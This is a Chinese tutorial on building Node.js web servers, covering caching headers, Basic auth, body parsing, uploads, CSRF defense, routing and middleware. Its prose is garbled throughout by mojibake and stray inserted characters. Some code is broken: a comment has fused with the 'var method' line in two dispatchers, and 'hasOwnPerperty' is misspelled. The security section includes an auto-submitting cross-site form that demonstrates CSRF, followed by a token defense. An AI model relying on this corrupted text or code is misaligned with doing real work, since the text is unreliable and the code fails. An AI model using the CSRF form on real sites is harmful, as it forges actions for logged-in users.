盡管條件請(qǐng)求可以在文件內(nèi)容沒有修改的情況下節(jié)省帶寬弟跑,但是它依然會(huì)發(fā)起一個(gè)http請(qǐng)求灾前,使得客戶端依然會(huì)華一定時(shí)間來等待響應(yīng)∶霞可見最好的方案就是連條件請(qǐng)求都不用發(fā)起哎甲,那么我們?nèi)绾巫瞿啬枨茫课覀兛梢允褂?strong>服務(wù)器端程序在響應(yīng)內(nèi)容時(shí),讓瀏覽器明確地將內(nèi)容緩存起來炭玫。也就是在響應(yīng)里設(shè)置Expires或Catche-Control頭奈嘿,瀏覽器根據(jù)該值進(jìn)行緩存。
在http1.0時(shí)期吞加,在服務(wù)器端設(shè)置expires可以告知瀏覽器要緩存文件的內(nèi)容:
var handle = function (req, res) {
fs.readFile(filename, function (err, file) {
var expires = new Date();
expires.setTime(expires.getTime() + 10 * 365 * 24 * 60 * 60 * 1000);
res.setHeader("Expires", expires.toUTCString());
res.writeHead(200, "Ok");
res.end(file);
});
};
expires是一個(gè)GMT格式的時(shí)間字符串裙犹,瀏覽器在接到這個(gè)過期值后,只要本地還存在這個(gè)緩存文件衔憨,在到期時(shí)間之前它都不會(huì)再發(fā)起請(qǐng)求叶圃。
YUI3的CDN實(shí)踐是緩存文件在10年后過期,但是expires存在時(shí)間誤差践图,也是就瀏覽器和服務(wù)器之間的時(shí)間不同步掺冠,造成緩存提前過期或者緩存沒有被清除的情況出現(xiàn)。因此码党,cache-control就作為一種解決方案出現(xiàn)了:
var handle = function (req, res) {
fs.readFile(filename, function (err, file) {
res.setHeader("Cache-Control", "max-age=" + 10 * 365 * 24 * 60 * 60 * 1000);
res.writeHead(200, "Ok");
res.end(file);
});
};
cache-control通過設(shè)置max-age值德崭,來控制內(nèi)存。這個(gè)是一個(gè)過期最大時(shí)間闽瓢,不需要與服務(wù)器時(shí)間同步接癌。另外,cache-control還可以設(shè)置public扣讼、private缺猛、no-cache、no-store等能夠精確控制緩存的選項(xiàng)椭符。
由于http1.0不支持max-age荔燎,因此,需要對(duì)兩種緩存都做支持销钝,如果有咨,瀏覽器支持max-age,那么蒸健,max-age會(huì)覆蓋expires的值座享。
清除緩存:
緩存可以幫助節(jié)省帶寬,但是似忧,如果服務(wù)器更新了內(nèi)容渣叛,那么又無法通知瀏覽器更新,因此盯捌,我們要為緩存添加版本號(hào)淳衙,也就是在url中添加版本號(hào)。做法如下:
1.每次發(fā)布,路徑中都跟隨web應(yīng)用的版本號(hào):http://url.com/?v=20130501
2.每次發(fā)布箫攀,路徑中都跟隨該文件內(nèi)容的hash值: http://url.com/?hash=afadfadwe
大體來說肠牲,根據(jù)文件內(nèi)容的hash值進(jìn)行緩存淘汰會(huì)更加高效,因?yàn)槲募?nèi)容不一定隨著web應(yīng)用的版本而更新靴跛,而內(nèi)容沒有更新時(shí)缀雳,版本號(hào)的改動(dòng)導(dǎo)致的更新毫無意義,因此梢睛,以文件內(nèi)容形成的hash值更精準(zhǔn)俏险。
Basic認(rèn)證
Basic認(rèn)證是基于用戶名和密碼的一種身份認(rèn)證方式,不是業(yè)務(wù)上的登錄操作扬绪,是一種基于瀏覽器的認(rèn)證方法竖独。如果一個(gè)頁(yè)面需要basic認(rèn)證,它會(huì)檢查請(qǐng)求報(bào)文頭中的Authorization字段的內(nèi)容挤牛,該字段的認(rèn)證方式和加密值構(gòu)成:
$ curl -v "http://user:pass@www.baidu.com/"
> GET / HTTP/1.1
> Authorization: Basic dXNlcjpwYXNz
> User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5
> Host: www.baidu.com
> Accept: */*
在Basic認(rèn)證中莹痢,它會(huì)將用戶和密碼部分組合:username:password,然后進(jìn)行base64編碼:
var encode = function (username, password) {
return new Buffer(username + ':' + password).toString('base64');
};
如果用戶首次訪問該網(wǎng)頁(yè)墓赴,url中也沒有認(rèn)證內(nèi)容竞膳,那么瀏覽器會(huì)響應(yīng)一個(gè)401未授權(quán)狀態(tài)碼:
function (req, res) {
var auth = req.headers['authorization'] || '';
var parts = auth.split(' ');
var method = parts[0] || ''; // Basic
var encoded = parts[1] || ''; // dXNlcjpwYXNz
var decoded = new Buffer(encoded, 'base64').toString('utf-8').split(":");
var user = decoded[0]; // user
var pass = decoded[1]; // pass
if (!checkUser(user, pass)) {
res.setHeader('WWW-Authenticate', 'Basic realm="Secure Area"');
res.writeHead(401);
res.end();
} else {
handle(req, res);
}
}
如果未認(rèn)證,瀏覽器會(huì)彈出對(duì)話框:
當(dāng)認(rèn)證通過诫硕,服務(wù)器端響應(yīng)200狀態(tài)碼后坦辟,瀏覽器會(huì)保存用戶名和密碼口令,在后續(xù)的請(qǐng)求中都攜帶Authorization信息章办。
basic認(rèn)證是以base64加密后的明文方式在網(wǎng)上傳輸?shù)娘弊撸踩暂^低,因此藕届,建議配合https使用挪蹭,為了改進(jìn)basic認(rèn)證,在rfc 2069規(guī)范中休偶,提出了摘要訪問認(rèn)證梁厉,加入了服務(wù)器端隨機(jī)數(shù)來保護(hù)認(rèn)證過程,大家可以自行g(shù)oogle踏兜。
數(shù)據(jù)上傳
上一節(jié)的內(nèi)容基本上都是操作http請(qǐng)求報(bào)文頭的词顾,進(jìn)一步說,更多的都是適用于get請(qǐng)求的碱妆,頭部報(bào)文中的內(nèi)容已經(jīng)能夠讓服務(wù)器端進(jìn)行大多數(shù)業(yè)務(wù)邏輯操作了肉盹,但是單純的頭部報(bào)文無法攜帶大量的數(shù)據(jù),在業(yè)務(wù)中山橄,我們往往需要接收一些數(shù)據(jù)垮媒,比如表單提交、文件提交航棱、json上傳睡雇、xml上傳等。
node的http模塊只對(duì)http報(bào)文的頭部進(jìn)行了解析饮醇,然后觸發(fā)request事件它抱。如果請(qǐng)求中還帶有內(nèi)容部分(如:post請(qǐng)求,它具有報(bào)頭和內(nèi)容)朴艰,內(nèi)容部分需要用戶自行接收和解析观蓄。通過報(bào)頭的Transfer
-Encoding或Content-Length即可判斷請(qǐng)求中是否帶有內(nèi)容:
var hasBody = function(req) {
return 'transfer-encoding' in req.headers || 'content-length' in req.headers;
};
在http_parser解析報(bào)頭結(jié)束后,報(bào)文內(nèi)容部分會(huì)通過data事件觸發(fā)祠墅,我們只需以流的方式處理即可:
function (req, res) {
if (hasBody(req)) {
var buffers = [];
req.on('data', function (chunk) {
buffers.push(chunk);
});
req.on('end', function () {
req.rawBody = Buffer.concat(buffers).toString();
handle(req, res);
});
} else {
handle(req, res);
}
}
接收到的buffer列表將會(huì)轉(zhuǎn)化為一個(gè)buffer對(duì)象侮穿,在轉(zhuǎn)碼為字符串,然后掛載在req.rawBody上毁嗦。
表單數(shù)據(jù)
我們看看比較常見的表單數(shù)據(jù)處理:
<form action="/upload" method="post">
<label for="username">Username:</label> <input type="text" name="username" id="username" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
默認(rèn)的表單提交,請(qǐng)求頭中的content-type字段值為application/x-www-form-urlencoded:
Content-Type: application/x-www-form-urlencoded
報(bào)文體的內(nèi)容跟查詢字符串相同,例如:foo=bar&baz=val
我們可以使用querystring來解析一下征绸,并將數(shù)據(jù)掛載到body上(掛載在哪里都不重要赖晶,這個(gè)body是協(xié)議的約定):
var handle = function (req, res) {
if (req.headers['content-type'] === 'application/x-www-form-urlencoded') {
req.body = querystring.parse(req.rawBody);
}
todo(req, res);
};
其他格式
根據(jù)content-type來區(qū)分?jǐn)?shù)據(jù)編解碼的類型:content-type=application/json或者content-type=application/xml。
注意:content-type還可以附帶編碼信息腔长,Content-Type: application/json; charset=utf-8,我們通過下邊的程序進(jìn)行區(qū)分:
var mime = function (req) {
var str = req.headers['content-type'] || '';
return str.split(';')[0];
};
json
解析并響應(yīng)json
var handle = function (req, res) {
if (mime(req) === 'application/json') {
try {
req.body = JSON.parse(req.rawBody);
} catch (e) {
// 異常內(nèi)容袭祟,響應(yīng)Bad request
res.writeHead(400);
res.end('Invalid JSON');
return;
}
}
todo(req, res);
};
xml
解析并響應(yīng)xml,使用外部庫(kù)xml2js
var xml2js = require('xml2js');
var handle = function (req, res) {
if (mime(req) === 'application/xml') {
xml2js.parseString(req.rawBody, function (err, xml) {
if (err) {
// 異常內(nèi)容,響應(yīng)Bad request
res.writeHead(400);
res.end('Invalid XML');
return;
}
req.body = xml;
todo(req, res);
});
}
};
附件上傳
默認(rèn)表單數(shù)據(jù)為urlencoded編碼格式捞附,帶文件類型(file類型)的表單巾乳,需要指定enctype = multipart/form-data:
<form action="/upload" method="post" enctype="multipart/form-data">
<label for="username">Username:</label> <input type="text" name="username" id="username" />
<label for="file">Filename:</label> <input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
此時(shí),瀏覽器構(gòu)造報(bào)文頭的動(dòng)作就不一樣了:
Content-Type: multipart/form-data; boundary=AaB03x
Content-Length: 18231
其中,boundary=AaB03x指定的是每部分內(nèi)容的分界符鸟召,AaB03x是隨機(jī)生成的一段字符串想鹰,報(bào)文體的內(nèi)容將通過在它前面添加--進(jìn)行分割,報(bào)文結(jié)束時(shí)药版,在它的前后都加上--表示結(jié)束辑舷。content-length表示報(bào)文體的實(shí)際長(zhǎng)度。
我們接下來比較一下槽片,先看看普通表單生成的報(bào)文體是什么樣子的:
--AaB03x\r\n
Content-Disposition: form-data; name="username"\r\n
\r\n
Jackson Tian\r\n
我們?cè)僖詡鬏攛.js文件為例何缓,來看看文件類型的報(bào)文頭樣式:
--AaB03x\r\n
Content-Disposition: form-data; name="file"; filename="x.js"\r\n
Content-Type: application/javascript\r\n
\r\n
... contents of x.js ...
--AaB03x--
我們來增加不同類型數(shù)據(jù)的判斷:
function (req, res) {
if (hasBody(req)) {
var done = function () {
handle(req, res);
};
if (mime(req) === 'application/json') {
parseJSON(req, done);
} else if (mime(req) === 'application/xml') {
parseXML(req, done);
} else if (mime(req) === 'multipart/form-data') {
parseMultipart(req, done);
}
} else {
handle(req, res);
}
}
formidable模塊
文件上傳是現(xiàn)在的web應(yīng)用非常常見的業(yè)務(wù)類型(例如,圖片上傳)
因此还栓,我們使用formidable模塊來處理這種業(yè)務(wù)碌廓。
var formidable = require('formidable');
function (req, res) {
if (hasBody(req)) {
if (mime(req) === 'multipart/form-data') {
var form = new formidable.IncomingForm();
form.parse(req, function (err, fields, files) {
req.body = fields;
req.files = files;
handle(req, res);
});
}
} else {
handle(req, res);
}
}
我們可以看到,body接收的是fields字段剩盒,files接收的是files字段
數(shù)據(jù)上傳與安全
由于node是基于js書寫的谷婆,因此,前端代碼可以向node注入js文件,來動(dòng)態(tài)執(zhí)行纪挎,這看起來非称谄叮可怕。在此异袄,我們要來說說安全的問題通砍,主要涉及內(nèi)存和CSRF。
內(nèi)存
攻擊者可以提交大量數(shù)據(jù)烤蜕,然后吃光讓服務(wù)器端的內(nèi)存封孙。因此,我們需要解決此類問題:
1.限制上傳內(nèi)容的大小讽营,一旦超過限制虎忌,停止接收數(shù)據(jù),并響應(yīng)400狀態(tài)碼橱鹏。
2.通過流式解析呐籽,將數(shù)據(jù)流導(dǎo)向磁盤中,node只保留文件路徑等小數(shù)據(jù)蚀瘸。(我們基于connect中間件來進(jìn)行上傳數(shù)據(jù)量的限制狡蝶,先判斷content-length,然后贮勃,再每次讀數(shù)據(jù)贪惹,判斷數(shù)據(jù)大小)
var bytes = 1024;
function (req, res) {
var received = 0,
var len = req.headers['content-length'] ? parseInt(req.headers['content-length'], 10) : null;
// 如果內(nèi)容超過長(zhǎng)度限制寂嘉,返回請(qǐng)求實(shí)體過長(zhǎng)的狀態(tài)碼
if (len && len > bytes) {
res.writeHead(413);
res.end();
return;
}
// limit
req.on('data', function (chunk) {
received += chunk.length;
if (received > bytes) {
// 停止接收數(shù)據(jù)奏瞬,觸發(fā)end()
req.destroy();
}
});
handle(req, res);
};
CSRF
CSRF = Cross-Site Request Forgery,跨站請(qǐng)求偽造泉孩。前文提及了服務(wù)器端與客戶端通過cookie來標(biāo)識(shí)和認(rèn)證用戶硼端,然后通過session來完成用戶的認(rèn)證。CSRF可以在不知道session_id的前提下寓搬,完成攻擊行為珍昨。
我們通過一個(gè)留言程序來了解這種攻擊行為:
function (req, res) {
var content = req.body.content || '';
var username = req.session.username;
var feedback = {
username: username,
content: content,
updatedAt: Date.now()
};
db.save(feedback, function (err) {
res.writeHead(200);
res.end('Ok');
});
}
此時(shí),攻擊者發(fā)現(xiàn)了這個(gè)漏洞句喷,然后再另外一個(gè)網(wǎng)站構(gòu)造一個(gè)表單提交:
<form id="test" method="POST" action="http://domain_a.com/guestbook">
<input type="hidden" name="content" value="vim好用" />
</form>
<script type="text/javascript">
$(function () {
$("#test").submit();
});
</script>
攻擊者只需要引誘已經(jīng)登錄的用戶訪問這個(gè)網(wǎng)站就可以獲得用戶的session了镣典,服務(wù)器程序,根本無法判斷是不同的網(wǎng)站發(fā)出的請(qǐng)求唾琼。這樣兄春,攻擊就完成了,如果是轉(zhuǎn)賬接口的話锡溯,那將非常危險(xiǎn)赶舆。
解決CSRF提交數(shù)據(jù)哑姚,可以通過添加隨機(jī)值的方式進(jìn)行,也就是為每個(gè)請(qǐng)求的用戶芜茵,在session中賦予一個(gè)隨機(jī)值:
var generateRandom = function (len) {
return crypto.randomBytes(Math.ceil(len * 3 / 4))
.toString('base64')
.slice(0, len);
};
-------------------
var token = req.session._csrf || (req.session._csrf = generateRandom(24));
頁(yè)面渲染過程中叙量,將這個(gè)_csrf值告知前端:
<form id="test" method="POST" action="http://domain_a.com/guestbook">
<input type="hidden" name="content" value="vim好" />
<input type="hidden" name="_csrf" value="< =_csrf >" /> % %
</form>
由于該值是一個(gè)隨機(jī)值,攻擊者構(gòu)造出相同的隨機(jī)值難度相當(dāng)大夕晓,所以,只需要在接收端做一次校驗(yàn)就能輕松防止csrf
function (req, res) {
var token = req.session._csrf || (req.session._csrf = generateRandom(24));
var _csrf = req.body._csrf;
if (token !== _csrf) {
res.writeHead(403);
res.end("禁止訪問");
} else {
handle(req, res);
}
}
路由解析
我記得兩年前悠咱,跟一個(gè)老派的程序員蒸辆。聊路由的問題,大哥直接問析既,你說的這個(gè)是啥躬贡?是路由器嗎?別整那些沒用的......于是眼坏,聊天戛然而止拂玻。這也讓我有了兩個(gè)思考,其一宰译,就是中國(guó)的許多程序員對(duì)于路由的概念還很淺薄檐蚜,另外,就是作為程序員沿侈,真的是一個(gè)學(xué)無止境的職業(yè)闯第。本節(jié)涉及三個(gè)方面:文件路徑、MVC和restful......
文件路徑型路由
1.靜態(tài)文件
直接用url等方式訪問
2.動(dòng)態(tài)文件
如asp缀拭、php咳短。
在node中,由于前后端都是.js蛛淋,因此咙好,我們不用這種判斷后綴的方式進(jìn)行腳本解析和執(zhí)行。
mvc
在mvc之前褐荷,主流的處理方式都是通過文件路徑進(jìn)行處理勾效,甚至以為這才是web的常態(tài)(IT界真的是學(xué)無止境呀),直到有一天叛甫,程序員發(fā)現(xiàn)用戶請(qǐng)求的URL路徑原來可以跟具體腳本所在的路徑?jīng)]有任何關(guān)系葵第,于是mvc模式就營(yíng)運(yùn)而生了。
mvc分為三個(gè)步驟:
1.路由解析合溺,根據(jù)url尋找對(duì)應(yīng)的控制器和行為卒密,根據(jù)url做路由映射,有兩種方式棠赛,一種是手工關(guān)聯(lián)映射哮奇,另一種是自然關(guān)聯(lián)映射膛腐。前者會(huì)有一個(gè)對(duì)應(yīng)的路由文件來將url映射到對(duì)應(yīng)的控制器,后者沒有這樣的文件鼎俘。
2.行為調(diào)用相關(guān)的處理器哲身,進(jìn)行數(shù)據(jù)操作
3.數(shù)據(jù)操作結(jié)束后,調(diào)用視圖和相關(guān)數(shù)據(jù)進(jìn)行頁(yè)面渲染贸伐,并輸出到客戶端
在此勘天,我們?cè)敿?xì)說說路由解析
手工映射
手工映射需要手工配置路由,它對(duì)url幾乎沒有限制捉邢。我們來看下邊的例子:
1.路由
/user/setting
/setting/user
2.控制器
exports.setting = function (req, res) {
// TODO
};
3.映射方法
也就是use
var routes = [];
var use = function (path, action) {
routes.push([path, action]);
};
4.判斷路由
我們?cè)谌肟诔绦蛑信袛鄒rl脯丝,然后執(zhí)行對(duì)應(yīng)的邏輯,于是就完成了基本的路由映射過程:
function (req, res) {
var pathname = url.parse(req.url).pathname;
for (var i = 0; i < routes.length; i++) {
var route = routes[i];
if (pathname === route[0]) {
var action = route[1];
action(req, res);
return;
}
}
// 處理404請(qǐng)求
handle404(req, res);
}
5.路由分配
use('/user/setting', exports.setting);
use('/setting/user', exports.setting);
use('/setting/user/jacksontian', exports.setting);
正則匹配
對(duì)于存在參數(shù)的路由伏伐,我們使用正則匹配宠进,這樣的路由樣式如下:
use('/profile/:username', function (req, res) {
// TODO
});
我們寫一個(gè)正則表達(dá)式的程序:
var pathRegexp = function (path) {
path = path
.concat(strict ? '' : '/?')
.replace(/\/\(/g, '(?:/')
.replace(/(\/)?(\.)?:(\w+)(?:(\(.*?\)))?(\?)?(\*)?/g, function (_, slash, format, key, capture,
optional, star) {
slash = slash || '';
return ''
+ (optional ? '' : slash)
+ '(?:'
+ (optional ? slash : '')
+ (format || '') + (capture || (format && '([^/.]+?)' || '([^/]+?)')) + ')'
+ (optional || '')
+ (star ? '(/*)?' : '');
})
.replace(/([\/.])/g, '\\$1')
.replace(/\*/g, '(.*)');
return new RegExp('^' + path + '$');
}
這個(gè)程序的作用是完成如下匹配
/profile/:username => /profile/jacksontian, /profile/hoover
/user.:ext => /user.xml, /user.json
然后,我們重新調(diào)整use部分的程序:
var use = function (path, action) {
routes.push([pathRegexp(path), action]);
};
function (req, res) {
var pathname = url.parse(req.url).pathname;
for (var i = 0; i < routes.length; i++) {
var route = routes[i];
// 正則匹配
if (route[0].exec(pathname)) {
var action = route[1];
action(req, res);
return;
}
}
// 處理404請(qǐng)求
handle404(req, res);
}
參數(shù)解析
我們希望在業(yè)務(wù)中可以這樣處理數(shù)據(jù):
use('/profile/:username', function (req, res) {
var username = req.params.username;
// TODO
});
那么第一步設(shè)這樣的:
var pathRegexp = function (path) {
var keys = [];
path = path
.concat(strict ? '' : '/?')
.replace(/\/\(/g, '(?:/')
.replace(/(\/)?(\.)?:(\w+)(?:(\(.*?\)))?(\?)?(\*)?/g, function (_, slash, format, key, capture,
optional, star) {
// 將匹配到的鍵值保存起來
keys.push(key);
slash = slash || '';
return ''
+ (optional ? '' : slash)
+ '(?:'
+ (optional ? slash : '')
+ (format || '') + (capture || (format && '([^/.]+?)' || '([^/]+?)')) + ')'
+ (optional || '')
+ (star ? '(/*)?' : '');
})
.replace(/([\/.])/g, '\\$1')
.replace(/\*/g, '(.*)');
return {
keys: keys,
regexp: new RegExp('^' + path + '$')
};
}
我們將根據(jù)抽取的鍵值和實(shí)際的url得到鍵值匹配到的實(shí)際值藐翎,并設(shè)置req.params
function (req, res) {
var pathname = url.parse(req.url).pathname;
for (var i = 0; i < routes.length; i++) {
var route = routes[i];
// 正則匹配
var reg = route[0].regexp;
var keys = route[0].keys;
var matched = reg.exec(pathname);
if (matched) {
// 抽取具體值
var params = {};
for (var i = 0, l = keys.length; i < l; i++) {
var value = matched[i + 1];
if (value) {
params[keys[i]] = value;
}
}
req.params = params;
var action = route[1];
action(req, res);
return;
}
}
// 處理404請(qǐng)求
handle404(req, res);
}
現(xiàn)在材蹬,我們就可以從req.query、req.body和req.params中得到數(shù)據(jù)啦
自然映射
因?yàn)槁酚商鄷?huì)造成代碼閱讀和書寫的難度增加吝镣,因此堤器,有人提出亂用路由不如無路由,實(shí)際上末贾,并非沒有路由吼旧,而是路由按一種約定的方式自然而然地實(shí)現(xiàn)了路由,而無需去維護(hù)路由映射未舟。不過這種方式相對(duì)來說比較死板圈暗,需要分情況去開發(fā)。
/controller/action/param1/param2/param3
function (req, res) {
var pathname = url.parse(req.url).pathname;
var paths = pathname.split('/');
var controller = paths[1] || 'index';
var action = paths[2] || 'index';
var args = paths.slice(3);
var module;
try {
// require的緩存機(jī)制使得只有第一次是阻塞的
module = require('./controllers/' + controller);
} catch (ex) {
handle500(req, res);
return;
}
var method = module[action]
if (method) {
method.apply(null, [req, res].concat(args));
} else {
handle500(req, res);
}
}
自然映射在php的codeigniter中廣泛使用裕膀,在node中员串,實(shí)現(xiàn)也很簡(jiǎn)單。我們可以根據(jù)需要來選擇不同的路由方式昼扛。
RESTful
mvc模式大行其道很多年寸齐,直到RESTful的流行,大家才意識(shí)到url也可以設(shè)計(jì)的很規(guī)范抄谐,請(qǐng)求方法也能作為邏輯分發(fā)的單元渺鹦。
RESTful = Representational State Transfer,也就是表現(xiàn)層狀態(tài)轉(zhuǎn)化蛹含,符合REST規(guī)范的設(shè)計(jì)毅厚,我們稱之為RESTful設(shè)計(jì),它的設(shè)計(jì)哲學(xué)主要將服務(wù)器端提供的內(nèi)容實(shí)體看做一個(gè)資源浦箱,并表現(xiàn)在url上吸耿。例如地址如下:
/users/jacksontian
這個(gè)地址代表了一個(gè)資源祠锣,對(duì)這個(gè)資源的操作,主要體現(xiàn)在http請(qǐng)求方法上咽安,不是體現(xiàn)在url上伴网,過去我們對(duì)用戶的增刪改查或許是這樣設(shè)計(jì)的:
POST /user/add?username=jacksontian
GET /user/remove?username=jacksontian
POST /user/update?username=jacksontian
GET /user/get?username=jacksontian
RESTful的設(shè)計(jì)則是這樣的:
POST /user/jacksontian
DELETE /user/jacksontian
PUT /user/jacksontian
GET /user/jacksontian
對(duì)于資源類型,過去是這樣來處理的:
GET /user/jacksontian.json
GET /user/jacksontian.xml
在RESTful中則是這樣來處理妆棒,根據(jù)請(qǐng)求報(bào)文頭中的Accept和服務(wù)器端的支持來決定:
Accept: application/json,application/xml
為了支持RESTful這種方式澡腾,應(yīng)該處理Accept,并在響應(yīng)報(bào)文中糕珊,通過Content-type字段告知客戶端是什么格式:
Content-Type: application/json
具體格式动分,我們稱之為具體的表現(xiàn),所以REST的設(shè)計(jì)就是放接,通過URL設(shè)計(jì)資源刺啦、請(qǐng)求方法定義資源的操作留特,通過Accept決定資源的表現(xiàn)形式纠脾。RESTful與mvc相輔相成,RESTful將http請(qǐng)求方法也加入了路由的過程蜕青,以及在url路徑上體現(xiàn)得更資源化苟蹈。
請(qǐng)求方法
我們修改一下之前寫的use方法,來支持RESTful
var routes = { 'all': [] };
var app = {};
app.use = function (path, action) {
routes.all.push([pathRegexp(path), action]);
};
['get', 'put', 'delete', 'post'].forEach(function (method) {
routes[method] = [];
app[method] = function (path, action) {
routes[method].push([pathRegexp(path), action]);
};
})
//增加用戶
app.post('/user/:username', addUser);
// 刪除用戶
app.delete('/user/:username', removeUser);
// 修改用戶
app.put('/user/:username', updateUser);
// 查詢用戶
app.get('/user/:username', getUser);
然后右核,我們修改一下匹配的部分:
var match = function (pathname, routes) {
for (var i = 0; i < routes.length; i++) {
var route = routes[i];
// 正則匹配
var reg = route[0].regexp;
var keys = route[0].keys;
var matched = reg.exec(pathname);
if (matched) {
//抽取具體值
var params = {};
for (var i = 0, l = keys.length; i < l; i++) {
var value = matched[i + 1];
if (value) {
params[keys[i]] = value;
}
}
req.params = params;
var action = route[1];
action(req, res);
return true;
}
}
return false;
};
然后慧脱,再來修改一下分發(fā)部分:
function (req, res) {
var pathname = url.parse(req.url).pathname;
// 將請(qǐng)求方法變?yōu)樾? var method = req.method.toLowerCase();
if (routes.hasOwnPerperty(method)) {
// 根據(jù)請(qǐng)求方法分發(fā)
if (match(pathname, routes[method])) {
return;
} else {
// 如果路徑?jīng)]有匹配成功,嘗試讓all()來處理
if (match(pathname, routes.all)) {
return;
}
}
} else {
// 直接讓all()來處理
if (match(pathname, routes.all)) {
return;
}
}
// 處理404請(qǐng)求
handle404(req, res);
}
RESTful模式以其輕量的設(shè)計(jì)贺喝,可以更好的適應(yīng)業(yè)務(wù)邏輯前端化和客戶端多樣化的需求菱鸥,通過RESTful服務(wù)可以適應(yīng)移動(dòng)端、PC端和各種客戶端的請(qǐng)求與響應(yīng)躏鱼。
中間件(middleware)
我對(duì)于中間件的定義很簡(jiǎn)單氮采,中間件就是用于簡(jiǎn)化和隔離基礎(chǔ)功能與業(yè)務(wù)邏輯的切面式代碼片段。換句話說染苛,中間件既不屬于node鹊漠,也不屬于我們寫的業(yè)務(wù)代碼,它是獨(dú)立存在的一層茶行,甚至幾層躯概。中間件封裝了底層細(xì)節(jié),為上層提供更方便的服務(wù)畔师。(類似于java的filter的工作原理)
我們之前寫了很多基礎(chǔ)功能娶靡,這些其實(shí)都是中間件,那么看锉,基于web的服務(wù)固蛾,我們的中間件的上下文就是請(qǐng)求對(duì)象和響應(yīng)對(duì)象结执。
// querystring解析中間件
var querystring = function (req, res, next) {
req.query = url.parse(req.url, true).query;
next();
};
// cookie解析中間件
var cookie = function (req, res, next) {
var cookie = req.headers.cookie;
var cookies = {};
if (cookie) {
var list = cookie.split(';');
for (var i = 0; i < list.length; i++) {
var pair = list[i].split('=');
cookies[pair[0].trim()] = pair[1];
}
}
req.cookies = cookies;
next();
};
var middleware = function (req, res, next) {
// TODO
next();
}
按照這種設(shè)計(jì),我們可以非嘲快速的開發(fā)出中間件:
app.use('/user/:username', querystring, cookie, session, function (req, res) {
// TODO
});
根據(jù)這個(gè)原理献幔,我們來修改use:
app.use = function (path) {
var handle = {
// 第一個(gè)參數(shù)作為路徑
path: pathRegexp(path),
// 其他的都是處理單元
stack: Array.prototype.slice.call(arguments, 1)
};
routes.all.push(handle);
};
將改進(jìn)后的use()方法將中間件都存進(jìn)了stack數(shù)組中保存起來,等待匹配后觸發(fā)執(zhí)行趾诗,由于結(jié)構(gòu)發(fā)生改變蜡感,那么我們的匹配部分也需要進(jìn)行修改:
var match = function (pathname, routes) {
for (var i = 0; i < routes.length; i++) {
var route = routes[i];
// 正則匹配
var reg = route.path.regexp;
var matched = reg.exec(pathname);
if (matched) {
//抽象具體值
// 代碼?省略
// 將中間件數(shù)組交給handle()方法處理
handle(req, res, route.stack);
return true;
}
}
return false;
};
var handle = function (req, res, stack) {
var next = function () {
// 從stack數(shù)組中取出中間件并執(zhí)行
var middleware = stack.shift();
if (middleware) {
// 傳入next()函數(shù)自身,使中間件能夠執(zhí)行結(jié)束后遞歸
middleware(req, res, next);
}
};
// 啟動(dòng)執(zhí)行
next();
};
為每個(gè)路由都配置中間件恃泪,并不是好的設(shè)計(jì)郑兴,我們可以為每個(gè)路由設(shè)置全部的路由:
app.use(querystring);
app.use(cookie);
app.use(session);
app.get('/user/:username', getUser);
app.put('/user/:username', authorize, updateUser);
我們進(jìn)一步修改use
app.use = function (path) {
var handle;
if (typeof path === 'string') {
handle = {
// 第一個(gè)數(shù)作為路徑
path: pathRegexp(path),
// 其他的都是處理單元
stack: Array.prototype.slice.call(arguments, 1)
};
} else {
handle = {
//第一個(gè)參數(shù)作為路徑
path: pathRegexp('/'),
// 其他的都是處理單元
stack: Array.prototype.slice.call(arguments, 0)
};
}
routes.all.push(handle);
};
我們修改匹配方式:
var match = function (pathname, routes) {
var stacks = [];
for (var i = 0; i < routes.length; i++) {
var route = routes[i];
// 正則匹配
var reg = route.path.regexp;
var matched = reg.exec(pathname);
if (matched) {
// 抽取具體值
// 代碼?省略
// 將中間件都保存起來
stacks = stacks.concat(route.stack);
}
}
return stacks;
};
再修改分發(fā)部分:
function (req, res) {
var pathname = url.parse(req.url).pathname;
// 將請(qǐng)求方法變?yōu)樾? var method = req.method.toLowerCase();
// 獲取all()方法里的中間件
var stacks = match(pathname, routes.all);
if (routes.hasOwnPerperty(method)) {
// 根據(jù)請(qǐng)求方法分發(fā),獲取相關(guān)的中間件
stacks.concat(match(pathname, routes[method]));
}
if (stacks.length) {
handle(req, res, stacks);
} else {
// 處理404請(qǐng)求
handle404(req, res);
}
}
異常處理
我們?yōu)閚ext添加err
var handle = function (req, res, stack) {
var next = function (err) {
if (err) {
return handle500(err, req, res, stack);
}
// 從stack數(shù)組中取出中間件并執(zhí)行
var middleware = stack.shift();
if (middleware) {
// 傳入next()函數(shù)自身贝乎,使中間件能夠執(zhí)行結(jié)束后遞歸
try {
middleware(req, res, next);
} catch (ex) {
next(err);
}
}
};
// 啟動(dòng)執(zhí)行
next();
};
var session = function (req, res, next) {
var id = req.cookies.sessionid;
store.get(id, function (err, session) {
if (err) {
// 將異常通過next()傳遞
return next(err);
}
req.session = session;
next();
});
};
接下來情连,我們處理一下中間件的程序,讓其支持?jǐn)?shù)組式的錯(cuò)誤收集:
var middleware = function (err, req, res, next) {
// TODO
next();
};
app.use(function (err, req, res, next) {
// TODO
});
最后览效,我們?cè)黾渝e(cuò)誤處理中間件:
var handle500 = function (err, req, res, stack) {
// 選取異常處理中間件
stack = stack.filter(function (middleware) {
return middleware.length === 4;
});
var next = function () {
// 從stack數(shù)組中取出中間件并執(zhí)行
var middleware = stack.shift();
if (middleware) {
// 傳遞異常對(duì)象
middleware(err, req, res, next);
}
};
// 啟動(dòng)執(zhí)行
next();
};
中間件與性能
我們思考兩個(gè)問題:1.如何編寫高效的中間件却舀,2.合理利用路由,避免不必要的中間件執(zhí)行锤灿。
編寫高效的中間件:
1.使用高效的方法挽拔,必要是通過jsperf.com進(jìn)行基準(zhǔn)測(cè)試,也就是測(cè)試基準(zhǔn)性能
2.緩存需要重復(fù)計(jì)算結(jié)果但校,也就是控制緩存的用量
3.避免不必要的計(jì)算螃诅,比如http報(bào)文體的解析,這個(gè)對(duì)于get方法状囱,完全沒必要
合理使用路由
例如靜態(tài)文件路由术裸,我們應(yīng)該將靜態(tài)文件都放到一個(gè)文件夾下,因?yàn)橥ぜ希绻o態(tài)文件匹配了效率還行袭艺,如果沒有匹配,則浪費(fèi)資源奶栖,我們可以將靜態(tài)文件到在public下:
app.use('/public', staticFile);
